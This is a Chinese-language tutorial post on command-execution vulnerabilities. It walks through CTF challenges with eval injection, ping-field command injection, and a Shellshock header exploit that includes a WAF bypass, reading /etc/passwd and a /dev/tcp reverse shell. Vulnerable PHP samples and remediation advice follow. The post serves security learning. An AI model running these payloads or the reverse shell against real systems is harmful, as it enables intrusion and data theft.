命令执行漏洞总结

命令执行漏洞:直接调用操作系统命令
命令执行漏洞的原理:在操作系统中,*“&、|、||”*都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、
passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令
拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

从例题中看漏洞

1.bugku 本地包含

题目地址:http://123.206.87.240:8003/

打开看到代码,两个要注意的点

  • $ a = @ a = @ a=@_REQUEST[‘hello’];
  • eval( “var_dump($a);”);

第一个的意思就是不管你是post还是get传参,request都能获取到hello的值
第二个看到eval()命令执行函数,也就是说,eval可以执行括号内的php命令

如果可以构造一些可执行的php代码,则eval就会全部执行达到我们想要的目的
例如

  1. hello=);print_r(file(“flag.php”)
  2. hello=);var_dump(file(“flag.php”)
  3. hello=file(“flag.php”)
  4. hello=file_get_contents(‘flag.php’)
  5. hello=);include(@$_POST[‘b’]
    • 在POST区域:b=php://filter/convert.base64-encode/resource=flag.php
  6. hello=);include(“php://filter/convert.base64-encode/resource=flag.php”
  7. hello=1);show_source(‘flag.php’);var_dump(
  8. hello=1);show_source(%27flag.php%27);var_dump(3

分别会有什么样的结果呢

  1. eval( “var_dump();print_r(file(“flag.php”));”);
  2. eval( “var_dump();var_dump(file(“flag.php”));”);
  3. eval( “var_dump(file(“flag.php”));”);
  4. eval( “var_dump(file_get_contents(‘flag.php’));”);
  5. eval( “var_dump();include(@$_POST[‘b’]);”);
  6. eval( “var_dump();include(“php://filter/convert.base64-encode/resource=flag.php”);”);
    • b=php://filter/convert.base64-encode/resource=flag.php
  7. eval( “var_dump(1);show_source(‘flag.php’);var_dump();”);
  8. eval( “var_dump(1);show_source(%27flag.php%27);var_dump(3);”);

最终都可以get flag

存在漏洞的函数和利用情景
  • eval() 函数存在命令执行漏洞,构造出文件包含会把字符串参数当做代码来执行。
  • file() 函数把整个文件读入一个数组中,并将文件作为一个数组返回。
  • print_r() 函数只用于输出数组。
  • var_dump() 函数可以输出任何内容:输出变量的容,类型或字符串的内容,类型,长度。
  • hello=file(“flag.php”),最终会得到var_dump(file(“flag.php”)),以数组形式输出文件内容。
  • include()函数和php://input,php://filter结合很好用,php://filter可以用与读取文件源代码,结果是源代码base64编码后的结果。

2.攻防世界 command execution

题目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5071

进来之后看到一个ping框,补充知识
windows或linux下:

  • command1 && command2 先执行command1后执行command2
  • command1 | command2 只执行command2
  • command1 & command2 先执行command2后执行command1

ping一个 127.0.0.1 | ls …/…/…/home
只执行后面半句,看到…/…/…/home目录下的所有文件,就看到了flag.txt

查看flag.txt 用cat命令 127.0.0.1 | cat …/…/…/home/flag.txt
就可以get flag

3.hackme command executor

题目链接:https://command-executor.hackme.inndy.tw/index.php

考点:
  • 文件包含读源码
  • 代码分析结合CVE
  • CVE导致的命令执行
  • 写入文件/反弹shell
  • 思考c文件的解法
  • 重定向获取flag

看到4个页面

且url参数有4种,?func=man ?func=untar ?func=cmd ?func=ls
猜测存在文件包含漏洞,构造url读源码
?func=php://filter/read=convert.base64-encode/resource=index.php
base64解密后拿到index.php的源码

<?php
$pages = [['man', 'Man'],['untar', 'Tar Tester'],['cmd', 'Cmd Exec'],['ls', 'List files'],
];function fuck($msg) {header('Content-Type: text/plain');echo $msg;exit;
}$black_list = ['\/flag', '\(\)\s*\{\s*:;\s*\};'
];function waf($a) {global $black_list;if(is_array($a)) {foreach($a as $key => $val) {waf($key);waf($val);}} else {foreach($black_list as $b) {if(preg_match("/$b/", $a) === 1) {fuck("$b detected! exit now.");}}}
}waf($_SERVER);
waf($_GET);
waf($_POST);function execute($cmd, $shell='bash') {system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}foreach($_SERVER as $key => $val) {if(substr($key, 0, 5) === 'HTTP_') {putenv("$key=$val");}
}$page = '';if(isset($_GET['func'])) {$page = $_GET['func'];if(strstr($page, '..') !== false) {$page = '';}
}if($page && strlen($page) > 0) {try {include("$page.php");} catch (Exception $e) {}
}

发现其中有一个比较敏感的putenv()函数,这个函数的作用是用来向环境表中添加或者修改环境变量
结合唯一可以执行的env命令想到2014年的一个重大漏洞:CVE-2014-6271 破壳(ShellShock)漏洞
在这里不做过多介绍
这里先贴出Freebuf的分析连接:
http://www.freebuf.com/articles/system/45390.html
确定了漏洞,就是尝试可用exp的时候了,这时候可以容易google到
这样一篇文章:
https://security.stackexchange.com/questions/68325/shellshock-attack-scenario-exploiting-php
其中重点的一段如下:

可以清楚看到这样一个payload:
wget --header=“X-Exploit:(){:;};echo Hacked” -q -O - http://127.0.0.1/shock.php
并且和这个测试样本和我们题目中给出的代码十分相似:

foreach($_SERVER as $key => $val) {if(substr($key, 0, 5) === 'HTTP_') {putenv("$key=$val");}
}

于是我们先去尝试一下适用性:

可以发现我们被waf拦截了:
()\s*{\s*:;\s*}; detected! exit now.
回去分析index.php的waf过滤点:

$black_list = ['\/flag', '\(\)\s*\{\s*:;\s*\};'
];function waf($a) {global $black_list;if(is_array($a)) {foreach($a as $key => $val) {waf($key);waf($val);}} else {foreach($black_list as $b) {if(preg_match("/$b/", $a) === 1) {fuck("$b detected! exit now.");}}}
}

可以看到如上一个黑名单,
我们的

X-Exploit: () { :; };

正是被这个黑名单禁止了,但是这样的waf存在极大隐患,我们只要加个空格就可以轻松绕过:

X-Exploit: () { : ; };

我们再次攻击一次试试:
wget --header=“X-Exploit: () { : ; }; echo Hacked” -q -O - “https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env”

可以看到Hacked成功被打印出来,说明我们的poc起了作用,下面我们开始执行命令,
不过需要注意的是,shellshock执行命令需要加上/bin/ , 比如 cat 命令直接读是读不出来的,
需要 /bin/cat 才可以,我们尝试读 /etc/password : /bin/cat /etc/password

wget --header=“X-Exploit: () { : ; }; /bin/cat /etc/passwd” -q -O - “https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env”


发现命令可以成功执行,下面我们就用命令ls来寻找flag
在ls界面发现目录,随便点击几个目录发现url变成?func=ls&file=../..
输入?func=ls&file=../../../可以看到有flag出现

我们尝试使用cat来读一下flag文件:
wget --header=“X-Exploit: () { : ; }; /bin/cat …/…/…/flag” -q -O - “https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env”

又被waf拦了
这里有没有办法绕过/flag呢?
这里给出两条思路:

  1. shell拼接,比如a=/fl;b=ag;c=a+b这样(此处写的不严谨,有兴趣可以自己去研究一下)
  2. 通配符绕过

这里我选择第二点:
wget --header=“X-Exploit: () { : ; }; /bin/cat …/…/…/?lag” -q -O - “https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env”
但这次并没有回显打出,但也没有报错,考虑是应为文件权限导致,
回去查看文件权限:

发现只有root才可读…
发现下面有一个c语言写的flag-reader.c,这个文件倒是有读的权限,
我们读一下他看有什么线索:
wget --header=“X-Exploit: () { : ; }; /bin/cat …/…/…/…/…/…/?lag-reader.c” -q -O - “https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env”
打出回显:

<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><title>Command Executor</title><link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all"><link rel="stylesheet" href="comic-neue/font.css" media="all"><style>nav { margin-bottom: 1rem; }img { max-width: 100%; }</style></head><body><nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex"><a class="navbar-brand" href="index.php">Command Executor</a><ul class="navbar-nav"><li class="nav-item"><a class="nav-link" href="index.php?func=man">Man</a></li><li class="nav-item"><a class="nav-link" href="index.php?func=untar">Tar Tester</a></li><li class="nav-item"><a class="nav-link" href="index.php?func=cmd">Cmd Exec</a></li><li class="nav-item"><a class="nav-link" href="index.php?func=ls">List files</a></li></ul></nav><div class="container"><h1>Command Execution</h1>
<ul><li><a href="index.php?func=cmd&cmd=ls">ls</a></li><li><a href="index.php?func=cmd&cmd=env">env</a></li></ul>
<form action="index.php" method="GET"><input type="hidden" name="func" value="cmd"><div class="input-group"><input class="form-control" type="text" name="cmd" id="cmd"><div class="input-group-append"><input class="btn btn-primary" type="submit" value="Execute"></div></div>
</form>
<script>cmd.focus();</script>
<h2>$ env</h2><pre>#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>int main(int argc, char *argv[])
{char buff[4096], rnd[16], val[16];if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {write(1, "Not enough random\n", 18);}setuid(1337);seteuid(1337);alarm(1);write(1, &rnd, sizeof(rnd));read(0, &val, sizeof(val));if(memcmp(rnd, val, sizeof(rnd)) == 0) {int fd = open(argv[1], O_RDONLY);if(fd > 0) {int s = read(fd, buff, 1024);if(s > 0) {write(1, buff, s);}close(fd);} else {write(1, "Can not open file\n", 18);}} else {write(1, "Wrong response\n", 16);}
}
</pre></div></body>
</html>

审计这个c程序,大致原理就是:1秒之内把他输出的再输入回去,就可以打出文件内容
此时我们的思路很简单,运行这个c程序,再把这个c程序输出在1s内再输回去,但是纯靠这样的交互,
速度极慢,所以容易想到,要不要拿个shell?
这里给出2种拿shell的思路

  1. 反弹shell
  2. 找到可写目录,并写入文件,利用文件包含即可

这里我选择反弹shell(https://xz.aliyun.com/t/2549)反弹shell可以看这里
wget --header=“X-Exploit: () { : ; }; /bin/bash -i >& /dev/tcp/你的ip/11122 0>&1” -q -O - “https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env”

然后一会儿就能收到shell
而下面就只要解决如何在1s内输入c文件输出的结果这个问题了
这里我选择了linux下的重定向,我们将输出写到某个文件中,再自动输入即可,这样即可达到目的
我们先去探索可写目录,发现 /var/tmp具有写权限
我们测试一下:
wget --header=“X-Exploit: () { : ; }; echo ‘sky’ > /var/tmp/sky” -q -O - “https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env”

然后来看写进去了没有:

成功写入文件,证明这个目录可以利用,我们构造:
wget --header=“X-Exploit: () { : ; }; flag-reader flag > /var/tmp/skyflag < /var/tmp/skyflag” -q -O - “https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env”
在shell里面cat下skyflag文件,就有flag了


总结

利用条件

  • 应用调用执行系统命令的函数
  • 将用户输入作为系统命令的参数拼接到了命令行中
  • 没有对用户输入进行过滤或过滤不严

漏洞分类

  • 代码层过滤不严
    商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:
    system("/bin/program --arg $arg");
  • 系统的漏洞造成命令注入
    bash破壳漏洞(CVE-2014-6271)
  • 调用的第三方组件存在代码执行漏洞
    如WordPress中用来处理图片的ImageMagick组件
    JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
    ThinkPHP命令执行

漏洞可能代码(以system为例)

  1. system("$arg"); //直接输入即可
  2. system("/bin/prog $arg"); //直接输入;ls
  3. system("/bin/prog -p $arg"); //和2一样
  4. system("/bin/prog --p="$arg""); //可以输入";ls;"
  5. system("/bin/prog --p=’$arg’"); //可以输入’;ls;’
  • 在Linux上,上面的;也可以用|、||代替
    ;前面的执行完执行后面的
    |是管道符,显示后面的执行结果
    ||当前面的执行出错时执行后面的

  • 在Windows上,不能用;可以用&、&&、|、||代替
    &前面的语句为假则直接执行后面的
    &&前面的语句为假则直接出错,后面的也不执行
    |直接执行后面的语句
    ||前面出错执行后面的

windows支持:
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

Linux支持:
; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
|| 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

漏洞利用

<?php$arg = $_GET['cmd'];if ($arg) {system("$arg");}
?>

<?php$arg = $_GET['cmd'];if ($arg) {system("ping -c 3 $arg");}
?>

<?php$arg = $_GET['cmd'];if ($arg) {system("ls -al "$arg"");}
?>


若引号被转义,则可以用`id`来执行

<?php$arg = $_GET['cmd'];if ($arg) {system("ls -al '$arg'");}
?>

其他

  • 代码执行:
    在cmd.php中的代码如下:
 <?phpeval($_REQUEST['code']);?>

提交http://localhost/cmd.php?code=phpinfo() 后就会执行phpinfo()

  • 动态函数调用
    在cmd.php中的代码如下:
 <? php$fun = $_GET['fun'];$par = $_GET['par'];$fun($par);?>

提交http://localhost/cmd.php?fun=system&par=net user,
最终执行的是system(“net user”)

漏洞修复

尽量少用执行命令的函数或者直接禁用
参数值尽量使用引号包括
在使用动态函数之前,确保使用的函数是指定的函数之一
在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义

<?php$arg = $_GET['cmd'];// $arg = addslashes($arg);$arg = escapeshellcmd($arg);  //拼接前就处理if ($arg) {system("ls -al '$arg'");}
?>
  1. 黑名单:过滤特殊字符或替换字符
  2. 白名单:只允许特殊输入的类型/长度

修复代码示例一:

<?php$target=$_REQUEST['ip'];$octet = explode( ".", $target );if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];$cmd = shell_exec('ping '.$target);echo "<pre>{$cmd}</pre>";}else {echo '<pre>ERROR: You have entered an invalid IP.</pre>';}
?>

修复代码示例二:

<?php$target=$_REQUEST['ip'];$cmd = shell_exec('ping '. escapeshellcmd($target));echo "<pre>{$cmd}</pre>";
?>

远程命令执行漏洞

利用系统函数实现远程命令执行

在PHP下,允许命令执行的函数有:

  • eval()
  • assert()
  • preg_replace()
  • call_user_func()

如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞

eval()函数
  • 定义和用法
    eval() 函数把字符串按照 PHP 代码来计算。
    该字符串必须是合法的 PHP 代码,且必须以分号结尾。
    如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
  • 语法
    eval(phpcode)
    phpcode 必需。规定要计算的 PHP 代码。
  • 例子
<?php$a = $_GET['a'];eval($a);
?>

http://127.0.0.1/oscommand/1.php?a=phpinfo();

assert()函数
  • 定义和用法
    检查一个断言是否为 FALSE
  • 语法
    PHP 5
    bool assert ( mixed description ] )
    PHP 7
    bool assert ( mixed exception ] )
    assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动
  • 例子
<?php$a = $_GET['a'];assert($a);
?>

http://127.0.0.1/oscommand/1.php?a=phpinfo();
http://127.0.0.1/oscommand/1.php?a=phpinfo()

ps: eval()和assert()区别
eval()函数正确执行需要满足php的代码规范,而assert()函数则不存在这个问题,对于php的代码规范要求不高

preg_replace()函数
  • 定义和语法
    preg_replace 函数执行一个正则表达式的搜索和替换。

  • 语法
    mixed preg_replace ( mixed replacement , mixed limit = -1 [, int &$count ]] )
    搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

    • 参数说明:
      pattern处存在一个"/e"修饰符时,$replacement的值会被当成php代码来执行。
      $replacement: 用于替换的字符串或字符串数组。
      $subject: 要搜索替换的目标字符串或字符串数组。
      $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
      $count: 可选,为替换执行的次数。
  • 例子

<?php$a = $_GET['a'];echo preg_replace("/test/e", $a, "just test!")
?>

http://127.0.0.1/oscommand/1.php?a=phpinfo()

ps: 在php5.4及以下版本中,preg_replace()可正常执行代码,而在php5.5及后续版本中会提醒"/e"修饰符已被弃用,要求用preg_replace_callback()函数来代替。

call_user_func()函数
  • 定义和用法
    call_user_func — 把第一个参数作为回调函数调用
  • 语法
    mixed call_user_func ( callable parameter [, mixed $… ]] )
    第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
  • 例子
<?phpcall_user_func($_GET['a'],$_GET['b']);
?>

http://127.0.0.1/oscommand/1.php?a=assert&b=phpinfo()

其他函数

ob_start()、unserialize()、creat_function()
usort()、uasort()、uksort()
array_filter()
array_reduce()
array_map()

系统命令执行漏洞

系统命令执行的函数

system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()
反引号

  • 环境分析
<?phpif (isset($_POST['submit'])){$target = $_REQUEST['ip'];if(isset(php_uname('s'), 'Windows NT')) {$cmd = shell_exec('ping ' . $taeget);echo '<pre>'.$cmd.'</pre>';} else {$cmd = shell_exec('ping -c 3 ' . $target);echo '<pre>'.$cmd.'</pre>'}}
?>

页面通过request获取传入的ip参数,并获取当前系统类型之后拼接相应命令"ping + target IP"并执行,在此过程中IP参数可控,所以在IP可拼接命令。
127.0.0.1&&whoami
127.0.0.1;whoami
127.0.0.1||whoami

  • 防范措施
    在PHP下禁用高危系统函数
    找到php.ini,查找到disable_functions,添加禁用的函数名
    严格过滤关键字符
$substitutions = array('&&' => '',';' => '','||' => '',
);
$target = str_replace(array_keys($substitutions), $substitution, $target);

严格限制允许的参数类型
利用正则表达

command execution相关推荐

  1. command pattern

    1.定义(http://en.wikipedia.org/wiki/Command_pattern#Java) In object-oriented programming, the command ...

  2. Remote Execution - SaltStack远程执行模块使用指南

    文章目录 Remote Execution - Salt远程执行模块 Salt Execution Modules Remote execution tutorial - 远程执行模块使用教程 开始管 ...

  3. 【RuoYi-Vue-Plus】问题笔记 07 - V3.5.0 Redisson 报错 Unable to send PING command over channel

    文章目录 前言 参考目录 问题说明 问题解决方法 前言 最近找了一下终于解决了 Redisson 的 RedisTimeoutException 报错问题,在此记录一下. 参考目录 Redisson ...

  4. 【问题】yocto学习:ERROR: Execution of event handler ‘sstate_eventhandler2‘ failed

    bitbake在最简单的配方上失败了 1. 编译报错问题:ERROR: Execution of event handler 'sstate_eventhandler2' failed 下载yocto ...

  5. 多核片上系统(SoC)架构的嵌入式DSP软件设计

    多核片上系统(SoC)架构的嵌入式DSP软件设计 Multicore a System-on-a-Chip (SoC) Architecture SoCs的软件开发涉及到基于最强大的计算模型在各种处理 ...

  6. 2019攻防世界web新手区

    robots 看了题目描述,发现与robots协议有关,过完去百度robots协议.发现了robots.txt,然后去构造url访问这个文件  http://111.198.29.45:42287/r ...

  7. Redis以及Redis的php扩展安装无错版

    安装Redis 下载最新的 官网:http://redis.io/  或者  http://code.google.com/p/redis/downloads/list 第一步:下载安装编译 #wge ...

  8. 推箱子2-向右推!_保持冷静,砍箱子-me脚

    推箱子2-向右推! Hack The Box (HTB) is an online platform allowing you to test your penetration testing ski ...

  9. openNebulafrontEnd ComputeNode 配置记录

    openNebulafrontEnd ComputeNode 配置记录 1,OpenNebula nfs(file system shared) for image datastore; openNe ...

最新文章

  1. 中国科学院徐俊刚:自动深度学习解读
  2. 【源码】Word转PDF V1.0.1 小软件,供新手参考
  3. HDU5982. Relic Discovery
  4. mysql 技术交流群_二进制部署MySQL(运维技术交流群:926402931,欢迎大家一起来交流。)...
  5. Linux网络编程——tcp并发服务器(I/O复用之select)
  6. java 中的instanceof
  7. Unreal Engine 4 —— 多线程任务构建
  8. Atom飞行手册翻译: 3.6 图标
  9. android备忘录_苹果备忘录怎样把内容置顶?有置顶功能的备忘录便签
  10. SM2算法第十篇:数字证书及CA的扫盲介绍
  11. 使用 Transmission 制作种子命令
  12. 算法题:Find the closest common ancestor
  13. 3.3V和1.8V电平双向转换——电平转换芯片
  14. tube和pipe的区别
  15. 2019 Multi-University Training Contest 3 题解
  16. RabbitMQ 使用java连接时出现异常com.rabbitmq.client.impl.AMQChannel.wrap和ConnectException
  17. CSFB(电路域回落)与VoLTE(4G语音承载)
  18. app对于接口返回数据的容错测试(健壮性测试)
  19. 科普 | 数据安全与网络安全(一)概念篇
  20. 信息系统分析与设计 机票预定管理系统

热门文章

  1. 最后一个晚上了...
  2. 深度学习:AlexNet实现服装分类(Pytorch)
  3. 乐视--996、内卷、裁员环境下一朵“奇葩”
  4. 《学习之道》第四章学习方法17一天内回想知识
  5. zeek bro 之 conn.log中的conn_states具体含意
  6. Docker push命令使用 Docker镜像推送到远程仓库 Docker镜像推送Dockerhub
  7. date-fns日期工具的使用方法
  8. matlab中bp创建多层神经网络,三层 BP 神经网络 matlab 实现
  9. 电脑突然无法拖动文件
  10. 12306登陆窗体验证码自动识别